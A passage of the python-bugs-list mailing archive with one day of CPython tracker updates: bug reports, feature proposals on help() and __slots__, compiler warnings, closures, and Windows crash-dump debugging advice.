Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552797002.42.0.339366135288.issue36236@roundup.psfhosted.org>


Nick Coghlan <ncoghlan at gmail.com> added the comment:

Omitting it from sys.path in that case makes sense to me, but I'm not sure what sys.argv[0] should be set to.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Sun Mar 17 00:49:02 2019
From: report at bugs.python.org (Sujoy)
Date: Sun, 17 Mar 2019 04:49:02 +0000
Subject: [issue36315] Unable to install Python 3.7.2
In-Reply-To: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>
Message-ID: <1552798142.81.0.844789446866.issue36315@roundup.psfhosted.org>


Sujoy <ecesujoy at gmail.com> added the comment:

I am using Windows 7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Sun Mar 17 00:52:43 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 17 Mar 2019 04:52:43 +0000
Subject: [issue36323] IDLE: always display full grep path
In-Reply-To: <1552790935.7.0.135900073162.issue36323@roundup.psfhosted.org>
Message-ID: <1552798363.11.0.976568823374.issue36323@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

To be more exact, if 'Find in Files' is called in an unsaved editor window, including Output windows, the the entry starts as '*.py'.  I presume that this is relative to the current working directory, which is initially the startup directory.  But this can change in an undocumented way.  There is currently no way in a grep output to determine which directory was searched.  This is especially annoying when there are no hits and one knows that there should be some.

My initial thought was to prefix '*.py' with the directory of sys.executable.  os.getcwd() might be more useful.  This would be in GrepDialog.open.  This will still be untested after PR12203 for #23205.
Most of this method is self-free path manipulation that can be pulled into a module method and separately tested.

PR12203 adds os.curdir ('.') to no-directory patterns.  After this issue, that will not be necessary unless a user deletes the explicit directory.  I am pausing a PR for this issue until I finish reviewing that one and it is merged.

In the long run, I might like to separate the 'In files' glob path into 'Directory' and file glob pattern.  (On Windows at least, glob patterns are not allowed in the directory part of the pattern.)

A related improvement would be listing the base search directory once at the top of output windows and not repeat it on every hit line.  This would require revising the GoTo File/Line function.

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36323>
_______________________________________

From report at bugs.python.org  Sun Mar 17 04:11:30 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 17 Mar 2019 08:11:30 +0000
Subject: [issue12616] zip fixer fails on zip()[:-1]
In-Reply-To: <1311372700.75.0.0919550613362.issue12616@psf.upfronthosting.co.za>
Message-ID: <1552810290.18.0.146252225818.issue12616@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This seems to have been fixed with issue28837 and 93b4b47e3a720171d67f3b608de406aef462835c. Marking this as resolved. Thanks for the report.

?  cpython git:(master) ? cat /tmp/foo.py
zip(B, D)[:-1]
?  cpython git:(master) ? 2to3-3.7 /tmp/foo.py
RefactoringTool: Skipping optional fixer: buffer
RefactoringTool: Skipping optional fixer: idioms
RefactoringTool: Skipping optional fixer: set_literal
RefactoringTool: Skipping optional fixer: ws_comma
RefactoringTool: Refactored /tmp/foo.py
--- /tmp/foo.py	(original)
+++ /tmp/foo.py	(refactored)
@@ -1 +1 @@
-zip(B, D)[:-1]
+list(zip(B, D))[:-1]
RefactoringTool: Files that need to be modified:
RefactoringTool: /tmp/foo.py

----------
nosy: +xtreak
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12616>
_______________________________________

From report at bugs.python.org  Sun Mar 17 04:15:39 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 08:15:39 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
Message-ID: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Give statistics.NormalDist()a method for computing the inverse cumulative distribution function.  Model it after the NORM.INV function in MS Excel.

https://support.office.com/en-us/article/norm-inv-function-54b30935-fee7-493c-bedb-2278a9db7e13

Use the high accuracy approximation found here:  http://csg.sph.umich.edu/abecasis/gas_power_calculator/algorithm-as-241-the-percentage-points-of-the-normal-distribution.pdf

----------
assignee: steven.daprano
components: Library (Lib)
messages: 338120
nosy: rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Inverse cumulative normal distribution function
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Sun Mar 17 04:27:02 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 08:27:02 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1552811222.88.0.550091965531.issue36324@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
pull_requests: +12337
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Sun Mar 17 04:52:59 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 17 Mar 2019 08:52:59 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552812779.1.0.0798537757609.issue36276@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
superseder:  -> CRLF Injection in httplib

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Sun Mar 17 05:28:43 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 09:28:43 +0000
Subject: [issue36325] Build-out help() to support a class level data dictionary
Message-ID: <1552814923.85.0.563232252435.issue36325@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

class Bicycle:

   __data_dictionary__ = dict(
      category = 'Primary use: road, cross-over, or hybrid',
      model = 'Unique six digit vendor-supplied code',
      size = 'Rider size: child, small, medium, large, extra-large',
      price = 'Manufacturer suggested retail price', 
   )

>>> help(Bicycle)
class Bicycle(builtins.object)
 |  Data fields defined here:
 |
 |  category
 |      Primary use: road, cross-over, or hybrid
 |
 |  model
 |      Unique six digit vendor-supplied code
 |
 |  size
 |      Rider size: child, small, medium, large, extra-large
 |
 |  price
 |      Manufacturer suggested retail price
 |
 |  ----------------------------------------------------------------------
 |
 |  Data descriptors defined here:
 |  
 |  __dict__
 |      dictionary for instance variables (if defined)
 |  
 |  __weakref__
 |      list of weak references to the object (if defined)
 |  
 |  ----------------------------------------------------------------------
 |  Data and other attributes defined here:
 |  
 |  __data_dictionary__ = {'category': 'Primary use: road, cross-over, or .

----------
components: Library (Lib)
messages: 338121
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Build-out help() to support a class level data dictionary
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36325>
_______________________________________

From report at bugs.python.org  Sun Mar 17 05:51:00 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 09:51:00 +0000
Subject: [issue36325] Build-out help() to support a class level data dictionary
In-Reply-To: <1552814923.85.0.563232252435.issue36325@roundup.psfhosted.org>
Message-ID: <1552816260.34.0.636895677875.issue36325@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Something like this would be especially helpful for classes using __slots__. 

The member objects show-up in help(), but there is no way to attach an explanation like we can with property objects.

So there is a slots only alternative that would only involve modifying help() and nothing else:

   class Bicycle:

       __slots__ = dict(
           category = 'Primary use: road, cross-over, or hybrid',
           model = 'Unique six digit vendor-supplied code',
           size = 'Rider size: child, small, medium, large, extra-large',
           price = 'Manufacturer suggested retail price', 
       )

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36325>
_______________________________________

From report at bugs.python.org  Sun Mar 17 05:52:49 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 09:52:49 +0000
Subject: [issue36325] Build-out help() to support a class level data dictionary
In-Reply-To: <1552814923.85.0.563232252435.issue36325@roundup.psfhosted.org>
Message-ID: <1552816369.35.0.852997563259.issue36325@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Moving to a fresh issue.

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36325>
_______________________________________

From report at bugs.python.org  Sun Mar 17 05:58:54 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 17 Mar 2019 09:58:54 +0000
Subject: [issue34965] Python on Docker container using flask is going down
 after sometime
In-Reply-To: <1539354059.88.0.788709270274.issue34965@psf.upfronthosting.co.za>
Message-ID: <1552816734.11.0.775280025584.issue34965@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

As no additional information has been provided, I'm going to close this as third party.  Feel free to reopen if a reproducing script can be created to demonstrate that this is a bug in the language and not an issue with Flask or Docker.  Thanks!

----------
nosy: +cheryl.sabella
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34965>
_______________________________________

From report at bugs.python.org  Sun Mar 17 06:11:16 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 10:11:16 +0000
Subject: [issue36326] Build-out help() to read __slots__ with an optional data
 dictionary
Message-ID: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

The __slots__ variable already works with dictionaries.  The values are simply ignored. 

I propose teaching help() to read those optional dictionaries to give better information on member objects (much like we already have with property objects).

This is inspired by data dictionaries for database tables.

The pydoc implementation would be somewhat easy.  Roughly this:

   for name in data_descriptors:
       print(f' |  {name}'
       if isinstance(slots, dict) and name in slots:
           print(f' |      {slots[name]}')
       print(' |')


==== Example ====================================================

>>> class Bicycle:

       __slots__ = dict(
           category = 'Primary use: road, cross-over, or hybrid',
           model = 'Unique six digit vendor-supplied code',
           size = 'Rider size: child, small, medium, large, extra-large',
           price = 'Manufacturer suggested retail price', 
       )

>>> help(Bicycle)
Help on class Bicycle in module __main__:

class Bicycle(builtins.object)
 |  Data descriptors defined here:
 |  
 |  category
 |      Primary use: road, cross-over, or hybrid
 |  
 |  model
 |      Unique six digit vendor-supplied code
 |  
 |  price
 |      Rider size: child, small, medium, large, extra-large
 |  
 |  size
 |      Manufacturer suggested retail price

----------
components: Library (Lib)
messages: 338125
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Build-out help() to read __slots__ with an optional data dictionary
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Sun Mar 17 06:24:58 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 17 Mar 2019 10:24:58 +0000
Subject: [issue36326] Build-out help() to read __slots__ with an optional data
 dictionary
In-Reply-To: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>
Message-ID: <1552818298.15.0.0907534414146.issue36326@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Sun Mar 17 07:57:15 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 17 Mar 2019 11:57:15 +0000
Subject: [issue12622] failfast argument to TextTestRunner not documented
In-Reply-To: <1311448108.9.0.673600380151.issue12622@psf.upfronthosting.co.za>
Message-ID: <1552823835.91.0.403978483682.issue12622@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

failfast was added to the TextTestRunner signature in docs with issue17871 for 3.x and issue26097 for 2.7 . I guess the original issue was about signature missing in the docs and if so would propose closing this issue since it's fixed now.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12622>
_______________________________________

From report at bugs.python.org  Sun Mar 17 08:47:22 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Sun, 17 Mar 2019 12:47:22 +0000
Subject: [issue36323] IDLE: always display full grep path
In-Reply-To: <1552790935.7.0.135900073162.issue36323@roundup.psfhosted.org>
Message-ID: <1552826842.78.0.825534407767.issue36323@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
nosy: +eamanu

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36323>
_______________________________________

From report at bugs.python.org  Sun Mar 17 08:50:22 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 17 Mar 2019 12:50:22 +0000
Subject: [issue36326] Build-out help() to read __slots__ with an optional data
 dictionary
In-Reply-To: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>
Message-ID: <1552827022.97.0.131454099371.issue36326@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I am not sure that this is the best application of dict as __slots__. Maybe use dict for specifying default values? Currently slots are not compatible with class-level values used as fallbacks.

Following the pattern for namedtuple attributes, docstrings for slots could be specified as:

class Bicycle:
       __slots__ = 'category', 'model', 'size', 'price'

Bicycle.category.__doc__ = 'Primary use: road, cross-over, or hybrid'
Bicycle.model.__doc__ = 'Unique six digit vendor-supplied code'
Bicycle.size.__doc__ = 'Rider size: child, small, medium, large, extra-large'
Bicycle.price.__doc__ = 'Manufacturer suggested retail price'

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Sun Mar 17 09:40:55 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sun, 17 Mar 2019 13:40:55 +0000
Subject: [issue36319] Erro 0xC0000374 on windows 10
In-Reply-To: <1552761804.37.0.212876301752.issue36319@roundup.psfhosted.org>
Message-ID: <1552830055.43.0.548443627845.issue36319@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

Windows Error Reporting should create a crash dump file. The default location for dump files is "%LocalAppData%\CrashDumps". The file should be named either "python.exe.<pid>.dmp" (release build) or "python_d.exe.<pid>.dmp" (debug build).

You can analyze the crash dump in a debugger such as one of the SDK debuggers -- windbg (GUI) and cdb (console; cdb -z <dumpfile>). The 64-bit (x64) debuggers and associated tools such as gflags.exe should be in "%ProgramFiles(x86)%\Windows Kits\10\Debuggers\x64", if installed.

Make sure Python's debug symbols and debug binaries are installed. For an existing installation, you can change this from the Control Panel "Programs and Features". I assume you're testing with the 64-bit debug build, "python_d.exe".

Set a system environment variable named "_NT_SYMBOL_PATH" to configure the `cache` directory and Microsoft's public symbol server (`srv`). I use "C:\Symbols\Cache". For example:

    _NT_SYMBOL_PATH=cache*C:\Symbols\Cache;srv*https://msdl.microsoft.com/download/symbols

You may not have Python's symbol files already cached. In this case, you'll need to tell the debugger where it should look for the .pdb symbol files by extending the symbol path. For example, the following debugger command adds the base 64-bit Python 3.7 directories to the symbol path, assuming a standard all-users installation:

 .sympath+ C:\Program Files\Python37;C:\Program Files\Python37\DLLs

Or simply attach the debugger to a running python_d.exe process with the required extension modules loaded, and run `.reload /f` to cache the symbol files.

With the crash dump loaded in the debugger, run `!analyze -v` for a basic exception analysis. Also run `kn` to print the stack backtrace with frame [n]umbers for the current thread. If the backtrace doesn't included source files with line numbers, run `.lines` and rerun the `kn` command. Find the last Python frame just before the user-mode exception dispatcher (i.e. KiUserExceptionDispatch), and display its registers and local variables via `.frame /r [FrameNumber]` and then `dv /i /t /V`. 

That said, 0xC0000374 is STATUS_HEAP_CORRUPTION, which can be difficult to analyze with the default heap settings. To improve on this, enable full page-heap verification for "python_d.exe". Full page-heap verification ends every allocation with an inaccessible page, so the program will terminate on an unhandled STATUS_ACCESS_VIOLATION (0xC0000005 or -1073741819) at the exact line of code that tries to read or write beyond the allocation. 

You can configure full page-heap verification using gflags.exe if it's installed. From the command line, run `gflags /p /enable python_d.exe /full`. Or in the GUI, click on the "Image File" tab. Enter "python_d.exe" in the text box. Press tab. Select "Enable page heap", and click "OK". If you don't have gflags, you can configure the setting manually in the registry. (Even if you lack the tools to debug the problem yourself, at least you'll be able to send a more informative crash dump file to whoever has to analyze it.) Create a "python_d.exe" key in 
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options", and add the following two DWORD values: "GlobalFlag" with a hexadecimal value of 0x02000000 and "PageHeapFlags" with a value of 3. You'll probably want to disable full page-heap verification after the dump file is created, especially if you've enabled it for the release build, "python.exe".

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36319>
_______________________________________

From report at bugs.python.org  Sun Mar 17 09:44:29 2019
From: report at bugs.python.org (Matthias Klose)
Date: Sun, 17 Mar 2019 13:44:29 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1552830269.28.0.545494855845.issue35998@roundup.psfhosted.org>


Matthias Klose <doko at debian.org> added the comment:

setting to release-blocker for evaluation. the freebsd solution seems to be wrong, just avoiding the error.  Is the test correct, or do we have an issue that TLSv1.3 isn't properly handled?

----------
keywords: +3.7regression
nosy: +lukasz.langa, ned.deily
priority: normal -> release blocker
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Sun Mar 17 10:26:07 2019
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 17 Mar 2019 14:26:07 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552832767.38.0.406336498657.issue36320@roundup.psfhosted.org>


Ivan Levkivskyi <levkivskyi at gmail.com> added the comment:

Good idea! This should be easy to fix/update, this was initially discussed in https://github.com/python/typing/issues/339.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Sun Mar 17 10:53:46 2019
From: report at bugs.python.org (Christian Clauss)
Date: Sun, 17 Mar 2019 14:53:46 +0000
Subject: [issue36327] Remove EOLed Py34 from "Status of Python branches"
Message-ID: <1552834426.21.0.72238975198.issue36327@roundup.psfhosted.org>


New submission from Christian Clauss <cclauss at me.com>:

Remove Python 3.4 https://devguide.python.org/#branchstatus

Add Python 3.4 https://devguide.python.org/devcycle/#end-of-life-branches

----------
assignee: docs at python
components: Documentation
messages: 338131
nosy: cclauss, docs at python
priority: normal
severity: normal
status: open
title: Remove EOLed Py34 from "Status of Python branches"
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36327>
_______________________________________

From report at bugs.python.org  Sun Mar 17 11:03:40 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 17 Mar 2019 15:03:40 +0000
Subject: [issue36327] Remove EOLed Py34 from "Status of Python branches"
In-Reply-To: <1552834426.21.0.72238975198.issue36327@roundup.psfhosted.org>
Message-ID: <1552835020.59.0.396635755277.issue36327@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

The tracker is for CPython and the devguide has it's own issue tracker where this could be raised : https://github.com/python/devguide . I am just adding Larry who is release manager for 3.4 and closing this as third party. Feel free to reopen if needed.

----------
nosy: +larry, xtreak
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36327>
_______________________________________

From report at bugs.python.org  Sun Mar 17 11:51:57 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 17 Mar 2019 15:51:57 +0000
Subject: [issue31062] socket.makefile does not handle line buffering
In-Reply-To: <1501189905.94.0.421716043749.issue31062@psf.upfronthosting.co.za>
Message-ID: <1552837917.13.0.302324645448.issue31062@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
nosy: +giampaolo.rodola
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31062>
_______________________________________

From report at bugs.python.org  Sun Mar 17 12:31:58 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Sun, 17 Mar 2019 16:31:58 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552840318.66.0.222755359677.issue36235@roundup.psfhosted.org>


Change by Chih-Hsuan Yen <yan12125 at gmail.com>:


----------
pull_requests: +12338

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Sun Mar 17 13:22:01 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 17:22:01 +0000
Subject: [issue19415] test_gdb fails when using --without-doc-strings on
 Fedora 19
In-Reply-To: <1382851899.25.0.924998884504.issue19415@psf.upfronthosting.co.za>
Message-ID: <1552843321.63.0.534761601194.issue19415@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@Nick,

I have tested with the last 3.8 and 3.7 and Fedora 29.

./configure --without-doc-strings > /dev/null ;and make -j 4 > /dev/null ;and ./python -m test -W test_gdb
Run tests sequentially
0:00:00 load avg: 1.49 [1/1] test_gdb
test_gdb passed in 41 sec 934 ms

== Tests result: SUCCESS ==

1 test OK.

Total duration: 41 sec 938 ms
Tests result: SUCCESS


tested with 3.7 and fedora 29

Run tests sequentially
0:00:00 load avg: 2.02 [1/1] test_gdb
test_gdb passed in 42 sec 345 ms

== Tests result: SUCCESS ==

1 test OK.

Total duration: 42 sec 349 ms
Tests result: SUCCESS

Because there is no error, I close this issue.

----------
nosy: +matrixise
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19415>
_______________________________________

From report at bugs.python.org  Sun Mar 17 13:40:54 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 17:40:54 +0000
Subject: [issue36328] tstate may be used uninitialized in Py_NewInterpreter
Message-ID: <1552844454.78.0.703693793715.issue36328@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

I get this warning when I compile python without the --with-pydebug flag.


Python/pylifecycle.c: In function 'Py_NewInterpreter':
Python/pylifecycle.c:1442:12: warning: 'tstate' may be used uninitialized in this function [-Wmaybe-uninitialized]
     return tstate;
            ^~~~~~

Does not occur with python 3.7

----------
messages: 338134
nosy: matrixise, serhiy.storchaka
priority: normal
severity: normal
status: open
title: tstate may be used uninitialized in Py_NewInterpreter
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36328>
_______________________________________

From report at bugs.python.org  Sun Mar 17 13:42:38 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 17:42:38 +0000
Subject: [issue36328] tstate may be used uninitialized in Py_NewInterpreter
In-Reply-To: <1552844454.78.0.703693793715.issue36328@roundup.psfhosted.org>
Message-ID: <1552844558.84.0.779818827075.issue36328@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12339
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36328>
_______________________________________

From report at bugs.python.org  Sun Mar 17 13:44:18 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 17:44:18 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
In-Reply-To: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>
Message-ID: <1552844658.61.0.762464988174.issue36308@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Sun Mar 17 14:03:42 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Sun, 17 Mar 2019 18:03:42 +0000
Subject: [issue36290] _ast.ast_type_init does not handle args and kwargs
 correctly.
In-Reply-To: <1552574839.1.0.4927355759.issue36290@roundup.psfhosted.org>
Message-ID: <1552845822.7.0.679604208296.issue36290@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
keywords: +patch
pull_requests: +12340
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36290>
_______________________________________

From report at bugs.python.org  Sun Mar 17 14:11:27 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Sun, 17 Mar 2019 18:11:27 +0000
Subject: [issue36317] Typo in documentation of _PyObject_FastCallDict
In-Reply-To: <1552748629.07.0.307872865471.issue36317@roundup.psfhosted.org>
Message-ID: <1552846287.77.0.355165862897.issue36317@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
keywords: +patch
pull_requests: +12341
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36317>
_______________________________________

From report at bugs.python.org  Sun Mar 17 14:57:38 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 18:57:38 +0000
Subject: [issue36329] use the right python "make -C Doc/ serve"
Message-ID: <1552849058.57.0.633692372704.issue36329@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

When serving the documentation with `make -C Doc/ serve`, we can not specify the path of the python binary.

My use case, I wanted to debug the wsgiref.simple_server method, used by Tools/scripts/serve.py. It's just impossible because  we use the default python3 binary from the system or from the virtualenv (pyenv. etc...)

----------
messages: 338135
nosy: matrixise
priority: normal
severity: normal
status: open
title: use the right python "make -C Doc/ serve"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36329>
_______________________________________

From report at bugs.python.org  Sun Mar 17 14:57:56 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 18:57:56 +0000
Subject: [issue36329] use the right python "make -C Doc/ serve"
In-Reply-To: <1552849058.57.0.633692372704.issue36329@roundup.psfhosted.org>
Message-ID: <1552849076.56.0.787366793801.issue36329@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36329>
_______________________________________

From report at bugs.python.org  Sun Mar 17 15:03:16 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 19:03:16 +0000
Subject: [issue36329] use the right python "make -C Doc/ serve"
In-Reply-To: <1552849058.57.0.633692372704.issue36329@roundup.psfhosted.org>
Message-ID: <1552849396.06.0.0944912808948.issue36329@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12342
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36329>
_______________________________________

From report at bugs.python.org  Sun Mar 17 15:09:42 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 17 Mar 2019 19:09:42 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552849782.95.0.677248216747.issue36320@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Okay, I'll put together a PR and assign it to you :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Sun Mar 17 15:20:11 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sun, 17 Mar 2019 19:20:11 +0000
Subject: [issue36330] Warning about a potential dead code in timemodule and
 Clang
Message-ID: <1552850411.26.0.43372681058.issue36330@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

env CC="/usr/bin/clang" CCX="/usr/bin/clang" ./configure > /dev/null ;and make -j 4 > /dev/null

./Modules/timemodule.c:113:13: warning: code will never be executed [-Wunreachable-code]
            PyErr_SetString(PyExc_OverflowError,
            ^~~~~~~~~~~~~~~
1 warning generated.

----------
components: Interpreter Core
messages: 338137
nosy: matrixise
priority: normal
severity: normal
status: open
title: Warning about a potential dead code in timemodule and Clang
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36330>
_______________________________________

From report at bugs.python.org  Sun Mar 17 15:55:56 2019
From: report at bugs.python.org (Paul Ganssle)
Date: Sun, 17 Mar 2019 19:55:56 +0000
